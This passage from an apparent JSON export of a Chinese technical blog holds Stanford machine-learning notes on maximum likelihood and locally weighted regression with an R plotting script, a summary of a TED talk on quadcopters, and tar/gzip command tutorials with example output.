x^{(i)};\\theta)=\\frac{1}{\\sqrt{2\\pi}\\sigma}\\exp\\Big(-\\frac{(y^{(i)}-\\theta^Tx^{(i)})^2}{2\\sigma^2}\\Big)\\] 這裡的 \\(p(y^{(i)}\\mid x^{(i)};\\theta)\\) 是 \\(y^{(i)}\\) 在給定 \\(x^{(i)}\\) 的情況下的機率密度函數，而 \\(\\theta\\) 則是這個機率密度函數的一個參數，我們不可以將這個式子寫成 \\(p(y^{(i)}\\mid x^{(i)},\\theta)\\)，因為這裡的 \\(\\theta\\) 並不是一個隨機變數。另外我們可以這樣描述 \\(y^{(i)}\\) 的分佈： \\[y^{(i)}\\mid x^{(i)};\\theta\\sim\\mathcal{N}(\\theta^Tx^{(i)},\\sigma^2)\\]這裡的 \\(\\epsilon^{(i)}\\) 之所以假設為常態分佈主要有兩個原因，一個是在數學上推導時比較方便，另外一個則是根據中央極限定理（Central Limit Theorem）的概念，因為中央極限定裡告訴我們，當很多獨立且同分配的隨機變數加總之後，會是一個常態分佈，因為誤差「應該」是由許多變異的因子加總而成，再加上許多實務上的經驗顯示：在一般的線性迴歸分析中，這些誤差的分佈很接近常態分佈，所以我們就假設它是常態分佈了，不過說到底這也只是假設而已，很難保證所有的狀況都一定適用。\n另外補充一點，在 Bayesian inference 上所使用的 \\(p(y^{(i)}\\mid x^{(i)},\\theta)\\) 是代表 \\(\\theta\\) 是一個超參數（hyperparameter），在這種狀況下 \\(\\theta\\) 也是一個隨機變數，但跟這裡討論的 frequentist inference 的狀況完全不同，如果有興趣的話可以去查閱貝氏統計（Bayesian statistics）的資料。\n接著如果以矩陣的的表示方式，給定一個設計矩陣（design matrix）\\(X\\) 與 \\(\\theta\\)，那 \\(\\vec{y}\\) 的機率密度函數就會是 \\(p(\\vec{y}\\mid X;\\theta)\\)，而這個函數一般都看成是一個 \\(\\vec{y}\\) 的函數（或是 \\(X\\) 的函數），而 \\(\\theta\\) 則視為一個固定的數值，而當我們將這個函數視為 \\(\\theta\\) 的函數時，這個函數就稱為概似函數（likelihood function）： \\[L(\\theta)=L(\\theta;X,\\vec{y})=p(\\vec{y}\\mid X;\\theta)\\] 由於 \\(\\epsilon^{(i)}\\) 都是獨立的（independent），所以 \\(y^{(i)}\\) 在給定 \\(x^{(i)}\\) 之下也是獨立的，因此 \\begin{aligned} L(\\theta)=\u0026amp;\\prod^m_{i=1}p(y^{(i)}\\mid x^{(i)},\\theta)\\ =\u0026amp;\\prod^m_{i=1}\\frac{1}{\\sqrt{2\\pi}\\sigma}\\exp\\Big(-\\frac{(y^{(i)}-\\theta^Tx^{(i)})^2}{2\\sigma^2}\\Big) \\end{aligned} 接著在這個 \\(y^{(i)}\\) 與 \\(x^{(i)}\\) 的機率模型之下，該如何估計 \\(\\theta\\) 才是最恰當的呢？最大概似法（Method of Maximum Likelihood）告訴我們應該要找一個可以讓資料出現的機率值最大的 \\(\\theta\\)，也就是讓 \\(L(\\theta)\\) 產生最大值的 \\(\\theta\\)。\n為了找尋 \\(L(\\theta)\\) 的做大值，我們先對它做一個對數轉換（這樣會比較好計算），轉換後得到一個 log likelihood function： \\begin{aligned} l(\\theta)=\u0026amp;\\log L(\\theta)\\ =\u0026amp;\\log\\prod^m_{i=1}\\frac{1}{\\sqrt{2\\pi}\\sigma}\\exp\\Big(-\\frac{(y^{(i)}-\\theta^Tx^{(i)})^2}{2\\sigma^2}\\Big)\\ =\u0026amp;\\sum^m_{i=1}\\log\\frac{1}{\\sqrt{2\\pi}\\sigma}\\exp\\Big(-\\frac{(y^{(i)}-\\theta^Tx^{(i)})^2}{2\\sigma^2}\\Big)\\ =\u0026amp;m\\log\\frac{1}{\\sqrt{2\\pi}\\sigma}-\\frac{1}{\\sigma^2}\\cdot\\frac{1}{2}\\sum^m_{i=1}(y^{(i)}-\\theta^Tx^{(i)})^2 \\end{aligned} 因為 log 是一個嚴格遞增函數（strictly increasing funtion），所以 \\(l(\\theta)\\) 與 \\(L(\\theta)\\) 的最大值發生的地方是一樣的，而要找 \\(\\mathcal{l}(\\theta)\\) 的最大值，其實就是找 \\[\\frac{1}{2}\\sum^m_{i=1}(y^{(i)}-\\theta^Tx^{(i)})^2\\] 的極小值，而這個式子就是我們之前所定義的 \\(J(\\theta)\\)，所以接下去要做的事情就跟前面所講述的一模一樣。\n在這裡的一些機率假設之下，最小平方迴歸（least-squares regression）分析事實上就是找 \\(\\theta\\) 的最大概似估計量（maximum likelihood estimator），在這個假設之下一切都很合理，但是問題在於這個假設不一定每次都適用，有時候可能使用其他的假設會更好，這裡使用的只是其中一種而已。\n另外在最後估計 \\(\\theta\\) 的時候，其實跟 \\(\\sigma^2\\) 沒有關係，所以縱使 \\(\\sigma^2\\) 是未知的，我們還是可以得到同樣的結果，這個性質在之後討論 exponential family 與 generalized linear models 時還會用到。\n區域加權線性迴歸（Locally Weighted Linear Regression） 這裡我們考慮一個最簡單的回歸問題，輸入變數 \\(x\\in\\mathbb{R}\\)，輸出變數為 \\(y\\)，最左邊的圖形是 \\(y=\\theta\\_0+\\theta\\_1x\\) 這個模型所配適的結果，從圖形上可以看出來因為我們的資料沒有在一條直線上，所以並沒有配適的很好。\n接著我們加入另外一個變數 \\(x^2\\)，整個模型變成 \\(y=\\theta\\_0+\\theta\\_1x+\\theta\\_2x^2\\)，配適的結果是中間這張圖，很明顯的這個結果比左邊的好很多。看起來好像加了越多變數，結果就會越好，但是其實不盡然，如果變數加的太多時反而會適得其反，右邊那張圖就是使用五階的多項式 \\(y=\\sum^5\\_{j=1}\\theta_jx^j\\) 來配適的結果，我們可以看出來那一條配適出來的曲線完美的通過每一個點，但是我們不會認為這樣的配適結果有多好（至少就房價的資料來說，這樣的結果根本不合理）。\n大致上來說，像左邊這張圖的配適情況，模型跟資料的差距甚遠，配釋出來的模型沒有辦法解釋我們的資料，這樣的狀況我們稱為 underfitting，而相反的，在右邊這張圖的配適狀況則是 overfitting。（在之後的課程中，我們會正式定義這些相關的名詞，這裡只是先建立概念）\n由上面的討論中，我們可以發現特徵變數的選取對於學習演算法的表現好壞有直接的關係（之後講到 model selection 時，將會討論到自動選取特徵變數的演算法），在這裡我們介紹區域加權線性迴歸（Locally Weighted Linear Regression，LWR），這種演算法適用於有足夠的 training data 的情況，它可以讓整個模型比較不會受到特徵變數選擇的影響。\n在一般線性迴歸模型之下，要得到 \\(x\\) 這一點的預測值（也就是 \\(h(x)\\)），我們的步驟是：\n找到可以讓 \\(\\sum_i(y^{(i)}-\\theta^Tx^{(i)})^2\\) 最小的 \\(\\theta\\)。 計算預測值 \\(\\theta^Tx\\)。 而在區域加權線性迴歸下，步驟為：\n找到可以讓 \\(\\sum_i\\omega^{(i)}(y^{(i)}-\\theta^Tx^{(i)})^2\\) 最小的 \\(\\theta\\)。 計算預測值 \\(\\theta^Tx\\)。 其中 \\(\\omega^{(i)}\\) 是每筆資料的權重，它是一個大於或等於零的數值，直觀的來看，當 \\(\\omega^{(i)}\\) 比較大的時候，就表示該資料比較重要，我們要想辦法讓其對應的 \\((y^{(i)}-\\theta^Tx^{(i)})^2\\) 盡量小一點，反之如果當 \\(\\omega^{(i)}\\) 比較小的時候，就表示該資料比較不重要，其對應的 \\((y^{(i)}-\\theta^Tx^{(i)})^2\\) 在配適模型時也影響不大。\n我們選擇一種很常用的權重： \\[\\omega^{(i)}=\\exp\\Big(-\\frac{(x^{(i)}-x)^2}{2\\tau^2}\\Big)\\] 這個權重在估計 \\(x\\) 時，會跟要估計的 \\(x\\) 點相關。當 \\(\\mid x^{(i)}-x\\mid\\) 比較小的時候，\\(\\omega^{(i)}\\) 會比較接近 1，而當 \\(\\mid x^{(i)}-x\\mid\\) 比較大的時候，\\(\\omega^{(i)}\\) 就會比較小，因此在估計 \\(\\theta\\) 時，那些比較靠近 \\(x\\)（也就是要估計的那個點）的 training examples 就會有比較大的權重。（這裡的 \\(\\omega^{(i)}\\) 雖然很類似常態分佈的機率密度函數，但是他跟常態分佈一點關係也沒有，而且它也不是隨機變數，所以不要把它們搞混了）\n在另外一個參數 \\(\\tau\\) 是控制 training examples 的權重遞減的速度，這個 \\(\\tau\\) 稱為 bandwidth，如果這個值越大，則當 \\(x^{(i)}\\) 跟 \\(x\\) 的距離變大時，其權重就遞減的越慢。\n舉的例子：假設我們要估計的 \\(x\\) 為 3.5（紅色叉叉），而 bandwidth 參數 \\(\\tau\\) 設為 1 的時候，將 \\(\\omega^{(i)}\\) 的函數圖形畫出來就是藍色那條曲線，而每一點 \\(x^{(i)}\\) 的權重就是該點對應到這條曲線上的值（綠色的部分）。 如果將 \\(\\tau\\) 設為 0.5，則圖形就會變成這樣，很明顯的 \\(\\omega^{(i)}\\) 的函數圖形寬度就變窄了，這就是 bandwidth 參數的作用。 這裡的圖形我是用 R 畫的，下面這個是 R 的指令稿，有時候自己畫一次會比較了解這些概念：\ntrain.x \u0026lt;- c(1, 2, 3, 4, 5, 6) train.y \u0026lt;- c(0.5, 1, 1.55, 1.6, 1.7, 1.8) plot(train.x, train.y, ylim = c(, 2.1), xlim = c(, 7), xlab = \u0026#34;x\u0026#34;, ylab = \u0026#34;y\u0026#34;) x \u0026lt;- 3.5 tau \u0026lt;- 0.5 # weight function omega \u0026lt;- function(xi, t) { exp(-(xi-x)^2/(2*t^2)) } s \u0026lt;- seq(, 7, by = 0.05) lines(s, omega(s, tau), col = \u0026#34;blue\u0026#34;) segments(train.x[4], , train.x[4], train.y[4], lty=\u0026#34;dotted\u0026#34;, col=\u0026#34;#AAAAAA\u0026#34;) segments(train.x[4], , train.x[4], omega(train.x[4], tau), lty=\u0026#34;solid\u0026#34;, lwd=4, col=\u0026#34;#66CC66\u0026#34;) segments(train.x[2], , train.x[2], train.y[2], lty=\u0026#34;dotted\u0026#34;, col=\u0026#34;#AAAAAA\u0026#34;) segments(train.x[2], , train.x[2], omega(train.x[2], tau), lty=\u0026#34;solid\u0026#34;, lwd=4, col=\u0026#34;#66CC66\u0026#34;) points(x, , pch = 4, col = \u0026#34;red\u0026#34;) 前面所談到的線性迴歸算是一種有母數（parametric）的演算法，因為它已經預先設定 \\(\\theta\\) 參數的個數，然後才去配適資料，當我們將 \\(\\theta\\) 配適完成之後，就可以把 training set 放在一邊，然後使用我們估計出來的 \\(\\theta\\) 來進行預測，所以在預測時其實就不需要任何 training set 的資料了。\n區域加權線性迴歸是我們討論到的第一個無母數（non-parametric）演算法，它跟以往有母數的線性回歸有一個很大的差異，就是在進行預測時，還是會需要使用到 training set 的資料，而所謂無母數的意思粗略的來說，就是指我們要保留所有的資料讓 hypothesis \\(h\\) 可以隨著 training set 的大小增加而增加。\n繼續閱讀：史丹佛大學機器學習（Machine Learning）上課筆記（四）\n","permalink":"https://blog.gtwang.org/statistics/standford-machine-learning-3/","summary":"\u003cp\u003e本篇為史丹佛大學機器學習（Machine Learning）課程 Lecture 3 的前半段筆記，接續 \u003ca href=\"/statistics/standford-machine-learning-2/\"\u003eLecture 2\u003c/a\u003e 的內容。\u003c/p\u003e\n\u003cp\u003eLecture 3 的線上課程錄影可以從 \u003ca href=\"https://www.youtube.com/watch?v=HZ4cvaztQEs\"\u003eYouTube 網站\u003c/a\u003e上觀看。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"史丹佛大學機器學習（Machine Learning）上課筆記（三）"},{"content":"拉菲羅安德烈 (Raffaello D\u0026rsquo;Andrea) 展示了他與他的團隊開發的四軸飛行器，它的飛行與運動控制能力幾乎跟運動員一樣，身手矯健，可以說是讓人嘆為觀止。\n在這場簡短的演講中，拉菲羅安德烈展示了機器運動能力的概念，以及他們所進行的相關研究，他們所使用的這一種飛行器稱為四軸飛行器（quadcopters），這種飛行器其實已經存在很久了，而他很受歡迎的原因在於他的機械結構很簡單，只要控制四的螺旋槳的速度，就可以讓種種飛行器進行側滾、俯仰、偏擺與沿著他門共同的方向加速。這台飛行器上除了這些螺旋槳之外，還有裝載電腦、電池、各種感應器與無線收發器。\n基本上四軸飛行器非常靈活，也不容易控制，需要一些技巧與自動回餽的機制才能完美的操控它，在這個演講的場所中，他們已經預先在天花板上裝設了攝影機，配合筆記型電腦組成一個室內的定位系統，而在飛行器上面就裝設一個會反光的物體作為標記，透過這樣的機制就可以在空間中定位飛行器的位置。當電腦可以抓到飛行器的位置之後，就可以進行一些估計與控制的演算法，計算完成之後就把資訊傳送到飛行器上面，而飛行器本身也會執行一些簡單的演算法計算，藉此控制整個飛行過程。\n這中間的研究最主要的部分就是演算法的設計，到底要怎麼設計演算法才能創造出機器運動員呢？他們所使用的方法屬於以模型為基礎的設計（model-based design），首先建立物理運動的數學模型，然後使用控制理論（control theory，數學上的一個分支）來分析這個模型，並解結合演算法來控制這台飛行器，例如如果我們想讓這台飛行器停在空中，我們會先使用微分方程式（differential equations）來捕捉這個動態的物理現象，然後再使用控制理論來幫助我們建立演算法以達到讓飛行器可以穩定停留的目的。\n這個飛行器除了自己做一些高難度的動作（像是讓桿子保持平衡與載一杯水）之外，好幾台飛行器還可以協同運作，像是三台飛行器共同張開一張網子接住拉菲羅丟出去的球，然後在共同拉開網子把球丟回去，非常厲害。\n參考資料 TED ","permalink":"https://blog.gtwang.org/funny/the-astounding-athletic-power-of-quadcopters/","summary":"\u003cp\u003e拉菲羅安德烈 (Raffaello D\u0026rsquo;Andrea) 展示了他與他的團隊開發的四軸飛行器，它的飛行與運動控制能力幾乎跟運動員一樣，身手矯健，可以說是讓人嘆為觀止。\u003c/p\u003e\n\u003cp\u003e在這場簡短的演講中，拉菲羅安德烈展示了機器運動能力的概念，以及他們所進行的相關研究，他們所使用的這一種飛行器稱為四軸飛行器（quadcopters），這種飛行器其實已經存在很久了，而他很受歡迎的原因在於他的機械結構很簡單，只要控制四的螺旋槳的速度，就可以讓種種飛行器進行側滾、俯仰、偏擺與沿著他門共同的方向加速。這台飛行器上除了這些螺旋槳之外，還有裝載電腦、電池、各種感應器與無線收發器。\u003c/p\u003e","title":"四軸飛行器（quadcopters）驚人的運動能力（TED 演講）"},{"content":"tar 指令是 UNIX/Linux 系統管理者最常會用到的指令之一，這裡蒐集一些使用範例，讓你透過範例了解如何使用 tar 來壓縮、解壓縮或備份檔案。\nLinux 的 tar 指令是系統管理者常常會用到的檔案壓縮、解壓縮或備份指令，它的名字原本是代表「tape archive」，所以這個指令其實也常常用於磁帶的備份工作。\ntar 本身在做的工作就是把一連串的檔案或資料夾壓縮成一個檔案，而在 Linux 中常見的壓縮格式有 tar、gzip 與 bzip 這三種，以目前說在 Linux 系統中最通用的壓縮格式這是這幾種，絕大部分的壓縮檔案都是使用這些壓縮格式，使用比較通用的壓縮格式對於不同硬碟或不同機器之間的資料交換會更方便。\n在這裡我們會示範各種 tar 指令的使用方式，包含建立壓縮檔（例如 .tar、.tar.gz、與 .tar.bz2 這些檔案格式）、解壓縮檔案、從壓縮檔中解開特定檔案、觀看壓縮檔的內容、驗證檔案、加入檔案或資料夾到既有的壓縮檔之中、估計 tar 壓縮檔的大小等。\n透過這些範例的說明，可以讓你更了解 tar 指令可以做哪些事情，也可以幫助你在處理這些壓縮檔案時更得心應手。\n.tar 壓縮檔案 .tar 是一種最簡單的壓縮檔案格式，這種檔案格式其實只是將很多的資料夾或檔案全部合併成一個大檔案而已，他只有做「打包」的動作，並沒有進行資料的壓縮。這種檔案格式通常用於簡單的管線（pipe）指令，做一些單純的複製檔案的動作，如果想要真正壓縮資料，就必須配合其他的壓縮格式（例如 gzip、bzip2 或 lzma 等）一起使用才行。\n建立 .tar 壓縮檔案 若要建立 .tar 壓縮檔，可使用下面這個指令：\ntar -cvf mpi.tar mpi/ 這個指令會將 mpi 資料夾與其中的所有檔案都壓縮成一個 mpi.tar 壓縮檔。壓縮時會顯示其中的檔案，輸出就會像這樣：\nmpi/ mpi/mpi.pdf mpi/mpi_simpson.R mpi/mpi_simpson_nocompiler.R mpi/MPI_Hello.c mpi/mpi_simpson_plot.R mpi/mpi.R mpi/mpi2.R mpi/mpi_simpson2.R mpi/pi.c mpi/my_phi.o mpi/my_phi.so mpi/MPI_Hello mpi/mpi_simpson_nocompiler_plot.R mpi/mpi_nocompiler.pdf mpi/my_phi.c 下面是這個 tar 指令所使用的參數說明：\nc：建立壓縮檔案（create）。 v：輸出處理的檔案列表（verbose）。 f：指定壓縮檔案（archive file）。 tar 指令的第一個參數是用於指定要執行的動作，而這個參數的減號（-）是可以省略的，只需要輸入對應功能的英文字母即可，像上面這個建立壓縮檔的指令也可以寫成這樣：\ntar cvf mpi.tar mpi/ 驗證 .tar 壓縮檔案 在建立 .tar 壓縮檔案時，如果是壓縮很重要的資料的話，可以加上驗證（verify）的選項，確保壓縮之後的檔案沒有錯誤：\ntar cvfW mpi.tar mpi/ 這樣在建立 .tar 檔之後，就會自動驗證一次裡面的檔案是否有問題，輸出為：\nmpi/ mpi/mpi.pdf mpi/mpi_simpson.R mpi/mpi_simpson_nocompiler.R mpi/MPI_Hello.c mpi/mpi_simpson_plot.R mpi/mpi.R mpi/mpi2.R mpi/mpi_simpson2.R mpi/pi.c mpi/my_phi.o mpi/my_phi.so mpi/MPI_Hello mpi/mpi_simpson_nocompiler_plot.R mpi/mpi_nocompiler.pdf mpi/my_phi.c 驗證 mpi/ 驗證 mpi/mpi.pdf 驗證 mpi/mpi_simpson.R 驗證 mpi/mpi_simpson_nocompiler.R 驗證 mpi/MPI_Hello.c 驗證 mpi/mpi_simpson_plot.R 驗證 mpi/mpi.R 驗證 mpi/mpi2.R 驗證 mpi/mpi_simpson2.R 驗證 mpi/pi.c 驗證 mpi/my_phi.o 驗證 mpi/my_phi.so 驗證 mpi/MPI_Hello 驗證 mpi/mpi_simpson_nocompiler_plot.R 驗證 mpi/mpi_nocompiler.pdf 驗證 mpi/my_phi.c 詳細說明可參考 GNU tar 的線上手冊。\n解壓縮 .tar 壓縮檔案 若要解壓縮 .tar 壓縮檔案，則可使用 tar 指令的 -x 參數（代表 extract），若要將上面壓縮好的 mpi.tar 壓縮檔解開，則可使用下面的指令：\ntar -xvf mpi.tar 解壓縮的輸出跟壓縮時是一樣的，都是列出所有的檔案列表：\nmpi/ mpi/mpi.pdf mpi/mpi_simpson.R mpi/mpi_simpson_nocompiler.R mpi/MPI_Hello.c mpi/mpi_simpson_plot.R mpi/mpi.R mpi/mpi2.R mpi/mpi_simpson2.R mpi/pi.c mpi/my_phi.o mpi/my_phi.so mpi/MPI_Hello mpi/mpi_simpson_nocompiler_plot.R mpi/mpi_nocompiler.pdf mpi/my_phi.c 這個指令會將 mpi.tar 壓縮檔案的所有內容，直接解壓縮後放在目前所在的工作目錄中，如果想要指定解壓縮後的檔案放置位置，可以使用 -C 參數，例如：\ntar -xvf mpi.tar -C /home/seal/tar_output/ 這樣解壓縮後的檔案就會放在 /home/seal/tar_output/ 目錄中。\n這裡 tar 指令的第一個 -xvf 參數同樣也可以將減號（-）省略，變成：\ntar xvf mpi.tar -C /home/seal/tar_output/ 這種省略減號的方式只適用於第一個參數，像這裡的 -C 參數就不可以省略，其他的狀況以此類推。\n列出 .tar 壓縮檔案的內容 若只想要知道 .tar 壓縮檔的內容有哪些，而不想把壓縮檔解開的話，可以使用 tar 指令的 -t 參數，例如要列出 mpi.tar 壓縮檔裡面有哪些檔案，就可以使用下面這個指令：\ntar -tvf mpi.tar 輸出為：\ndrwxrwxr-x seal/seal 0 2012-07-11 14:43 mpi/ -rw-rw-r-- seal/seal 5673 2012-06-06 15:35 mpi/mpi.pdf -rw-rw-r-- seal/seal 989 2012-06-06 15:36 mpi/mpi_simpson.R -rw-rw-r-- seal/seal 889 2012-06-06 15:38 mpi/mpi_simpson_nocompiler.R -rw-rw-r-- seal/seal 299 2012-05-29 09:36 mpi/MPI_Hello.c -rw-rw-r-- seal/seal 943 2012-06-06 15:33 mpi/mpi_simpson_plot.R -rw-rw-r-- seal/seal 158 2012-06-15 07:57 mpi/mpi.R -rw-rw-r-- seal/seal 233 2012-05-29 09:45 mpi/mpi2.R -rw-rw-r-- seal/seal 1450 2012-06-06 15:51 mpi/mpi_simpson2.R -rw-rw-r-- seal/seal 918 2012-05-28 16:04 mpi/pi.c -rw-rw-r-- seal/seal 11432 2012-06-06 15:46 mpi/my_phi.o -rwxrwxr-x seal/seal 13364 2012-06-06 15:46 mpi/my_phi.so -rwxrwxr-x seal/seal 8605 2012-05-29 09:37 mpi/MPI_Hello -rw-rw-r-- seal/seal 874 2012-06-06 15:33 mpi/mpi_simpson_nocompiler_plot.R -rw-rw-r-- seal/seal 5530 2012-06-06 15:34 mpi/mpi_nocompiler.pdf -rw-rw-r-- seal/seal 1016 2012-06-06 15:46 mpi/my_phi.c 這裡的輸出有點類似 ls -l 的效果，這是由於加入 -v 參數所致，如果只是想要簡單的檔案名稱列表，可以不需要加入 -v 參數，而這樣就會輸出單純的檔案列表：\ntar -tf mpi.tar 這裡輸出就會跟上面壓縮或解壓縮時的輸出相同。\n從 .tar 壓縮檔案中解壓縮指定的檔案 有時候整個 .tar 壓縮檔案很大，而你需要的檔案只是其中的幾個小檔案而已，那這個時候你就可以單獨解壓縮那些需要的部份，而不需要為了少數幾個檔案把整個壓縮檔案都解開，這樣既快速又省時間。\n若要解開 .tar 壓縮檔中的某一些檔案，只要將要解壓縮的檔案放在所有參數的後面即可，例如若要將 mpi.tar 壓縮檔案中的 mpi/mpi.R 這個檔案解開來，就使用下面這個指令：\ntar -xvf mpi.tar \u0026#34;mpi/mpi.R\u0026#34; 如果要解壓縮好幾個檔案，就把所有的檔案名稱都加在參數的最後面就可以了，例如：\ntar -xvf mpi.tar \u0026#34;mpi/mpi.R\u0026#34; \u0026#34;mpi/pi.c\u0026#34; \u0026#34;mpi/my_phi.c\u0026#34; 如果你想要一次解壓縮某一類的檔案，也可以使用 --wildcards 參數以萬用字元（wildcard）的方式來指定檔案，這種方式檔案數量很多的時候特別好用，例如若要解壓縮所有 C 語言的程式碼檔案（所有附檔名為 .c 的檔案），就使用：\ntar -xvf mpi.tar --wildcards \u0026#34;*.c\u0026#34; 這樣就會解壓縮三個 .c 的檔案，輸出為：\nmpi/MPI_Hello.c mpi/pi.c mpi/my_phi.c 在指定檔案名稱時，為了怕有些檔案名稱比較奇怪，會容易造成 shell 在解析時出問題，所以最保險的方式就是像這裡的範例一樣用雙引號把檔案名稱包起來，這樣比較不會出問題。而在使用萬用字元時，就一定要使用雙引號，否則 shell 會把萬用字元直接展開。\n加入新的檔案或目錄到 .tar 壓縮檔案中 如果想把新的檔案或目錄加到既有的 .tar 壓縮檔中，可以使用 -r 這個參數，然後把要加入的檔案全部放在參數的最後面，例如若要把 test_append.txt 這個檔案加入 mpi.tar 中，則使用下面這個指令：\ntar -rvf mpi.tar test_append.txt 這樣 test_append.txt 就加進去了，輸出為：\ntest_append.txt 我們可以把壓縮檔的內容列出來驗證一下：\ntar -tvf mpi.tar 輸出為：\ndrwxrwxr-x seal/seal 0 2012-07-11 14:43 mpi/ -rw-rw-r-- seal/seal 5673 2012-06-06 15:35 mpi/mpi.pdf -rw-rw-r-- seal/seal 989 2012-06-06 15:36 mpi/mpi_simpson.R -rw-rw-r-- seal/seal 889 2012-06-06 15:38 mpi/mpi_simpson_nocompiler.R -rw-rw-r-- seal/seal 299 2012-05-29 09:36 mpi/MPI_Hello.c -rw-rw-r-- seal/seal 943 2012-06-06 15:33 mpi/mpi_simpson_plot.R -rw-rw-r-- seal/seal 158 2012-06-15 07:57 mpi/mpi.R -rw-rw-r-- seal/seal 233 2012-05-29 09:45 mpi/mpi2.R -rw-rw-r-- seal/seal 1450 2012-06-06 15:51 mpi/mpi_simpson2.R -rw-rw-r-- seal/seal 918 2012-05-28 16:04 mpi/pi.c -rw-rw-r-- seal/seal 11432 2012-06-06 15:46 mpi/my_phi.o -rwxrwxr-x seal/seal 13364 2012-06-06 15:46 mpi/my_phi.so -rwxrwxr-x seal/seal 8605 2012-05-29 09:37 mpi/MPI_Hello -rw-rw-r-- seal/seal 874 2012-06-06 15:33 mpi/mpi_simpson_nocompiler_plot.R -rw-rw-r-- seal/seal 5530 2012-06-06 15:34 mpi/mpi_nocompiler.pdf -rw-rw-r-- seal/seal 1016 2012-06-06 15:46 mpi/my_phi.c -rw-rw-r-- seal/seal 28 2013-07-06 14:04 test_append.txt 除了加入檔案之外，若要加入整個目錄也可以，使用方式也相同，例如：\ntar -rvf mpi.tar dir1 dir2 這樣就會把 dir1 與 dir2 兩個目錄連同裡面的所有檔案都加入到 mpi.tar 壓縮檔案中。\n繼續閱讀：UNIX/Linux 檔案壓縮與備份工具 tar 指令使用教學與範例（二）：tar.gz 檔案\n","permalink":"https://blog.gtwang.org/linux/tar-command-examples-in-linux-1/","summary":"\u003cp\u003e\u003ccode\u003etar\u003c/code\u003e 指令是 UNIX/Linux 系統管理者最常會用到的指令之一，這裡蒐集一些使用範例，讓你透過範例了解如何使用 tar 來壓縮、解壓縮或備份檔案。\u003c/p\u003e\n\u003cp\u003eLinux 的 \u003ccode\u003etar\u003c/code\u003e 指令是系統管理者常常會用到的檔案壓縮、解壓縮或備份指令，它的名字原本是代表「tape archive」，所以這個指令其實也常常用於磁帶的備份工作。\u003c/p\u003e","title":"UNIX/Linux 檔案壓縮與備份工具 tar 指令使用教學與範例（一）：tar 檔案"},{"content":"前一篇我們介紹了關於 .tar 檔案的各種 tar 指令使用方式，這裡接著介紹以 .tar 格式為基礎所延伸出來的各種檔案壓縮格式。\n因為單純的 .tar 檔案格式是沒有壓縮資料的功能的，它只是把好多目錄與資料夾打包起來，變成一個大檔案而已，如果要有壓縮資料的功能，必須配合另外的壓縮格式，以下介紹一般在 UNIX/Linux 中常用的壓縮格式。\n.tar.gz 壓縮檔案 .tar.gz 壓縮檔案格式（等同於 .tgz）是在 UNIX/Linux 系統上最常見的壓縮檔案格式之一，這個檔案格式其實就是把一般的 .tar 檔案使用 gzip 再壓縮一次，下面這張圖就是描述這個概念。\n建立 .tar.gz 壓縮檔案 若要使用 tar 指令建立 .tar.gz 格式的壓縮檔，可以使用下面這個指令：\n# 壓縮 mpi 目錄 tar -zcvf mpi.tar.gz mpi 這樣就會壓縮 mpi 目錄，建立一個 mpi.tar.gz 壓縮檔。這裡 tar 指令所使用的參數跟上一篇中產生 .tar 壓縮檔的時候很類似，只是多了一個 -z 而已，而這個 -z 就是代表把壓縮出來的 .tar 檔再丟給 gzip 來壓縮，至於其他的參數意義都跟之前的一樣，而輸出也是一模一樣，列出所有加入壓縮檔的檔案列表：\nmpi/ mpi/mpi.pdf mpi/mpi_simpson.R mpi/mpi_simpson_nocompiler.R mpi/MPI_Hello.c mpi/mpi_simpson_plot.R mpi/mpi.R mpi/mpi2.R mpi/mpi_simpson2.R mpi/pi.c mpi/my_phi.o mpi/my_phi.so mpi/MPI_Hello mpi/mpi_simpson_nocompiler_plot.R mpi/mpi_nocompiler.pdf mpi/my_phi.c 由 tar 指令加上 -z 參數所產生的檔案，基本上就是把原本的 .tar 檔再丟給 gzip 壓縮一次，所以如果你本來就有一個 .tar 檔案了，而現在你想要把它壓縮成 .tar.gz 檔的話，其實也可以直接使用 gzip 指令直接針對 .tar 檔來壓縮，例如：\n# 將 mp3 目錄壓縮為 mpi.tar 檔案 tar cvf mpi.tar mpi # 將 mpi.tar 壓縮為 mpi.tar.gz 檔案 gzip mpi.tar 第一行指令是產生一般的 .tar 檔，而在第二行我們把第一行產生的 mpi.tar 檔直接使用 gzip 壓縮，這樣也可以得到一個 mpi.tar.gz 壓縮檔，跟直接使用 tar 指令配合 -z 參數是一樣的效果。\n如果感覺 .tar.gz 這個副檔名太長，亦可使用比較簡短的副檔名：\ntar -zcvf mpi.tgz mpi .tgz 與 .tar.gz 兩種副檔名都是一樣的。\n在使用 tar 指令建立 .tar 檔時可以使用 -W 參數來驗證檔案的正確性，但是在 .tar.gz 這類經過實際壓縮之後的檔案，就無法使用驗證的功能。\n解壓縮 .tar.gz 壓縮檔案 若要解壓縮 .tar.gz 壓縮檔案，可使用下面的指令：\ntar -zxvf mpi.tar.gz 基本上用法跟解壓縮 .tar 檔案的情況很像，只是加上 -z 參數而已，這是參數是代表這個壓縮檔是有經過\ngzip 壓縮的，所以在解壓縮時，tar 會先使用 gzip 解壓縮的到 .tar 檔之後，自己再把 .tar 檔解開。所以事實上如果要自己手動呼叫 gzip 指令來解壓縮的話，可以這樣使用：\ngzip -d mpi.tar.gz tar xvf mpi.tar 或是直接使用管線（pipe）的方式：\ngzip -cd mpi.tar.gz | tar xvf - 這個指令是把 mpi.tar.gz 這個壓縮檔先交給 gzip 解壓縮，其中 -d 參數是代表解壓縮，而 -c 參數則是把 gzip 解壓縮出來的資料直接輸出到標準輸出（standard output），而這些輸出的資料就是 mpi.tar.gz 這個壓縮檔經過 gzip 解壓縮之後的 .tar 格式資料，事實上如果你把這些資料存進檔案，它就是一個 mpi.tar，只是我們這裡沒有存進檔案中，而是利用管線（pipe）將它導引至 tar 指令繼續解壓縮。\n隨後我們使用管線（pipe）將 gzip 所產生的輸出導到 tar 指令的標準輸入（standard input），這裡 tar 指令所使用的參數還是跟一般解壓縮的狀況相同，只是將輸入的檔案指定為標準輸入，而其指定的方式就是一個減號（-），這樣 tar 就會從標準輸入讀取資料後，進行解壓縮，最後就得到我們要的結果。\n其實如果只是單純解壓縮一個 .tar.gz 檔，是不需要弄得這麼複雜的，直接使用一行 tar 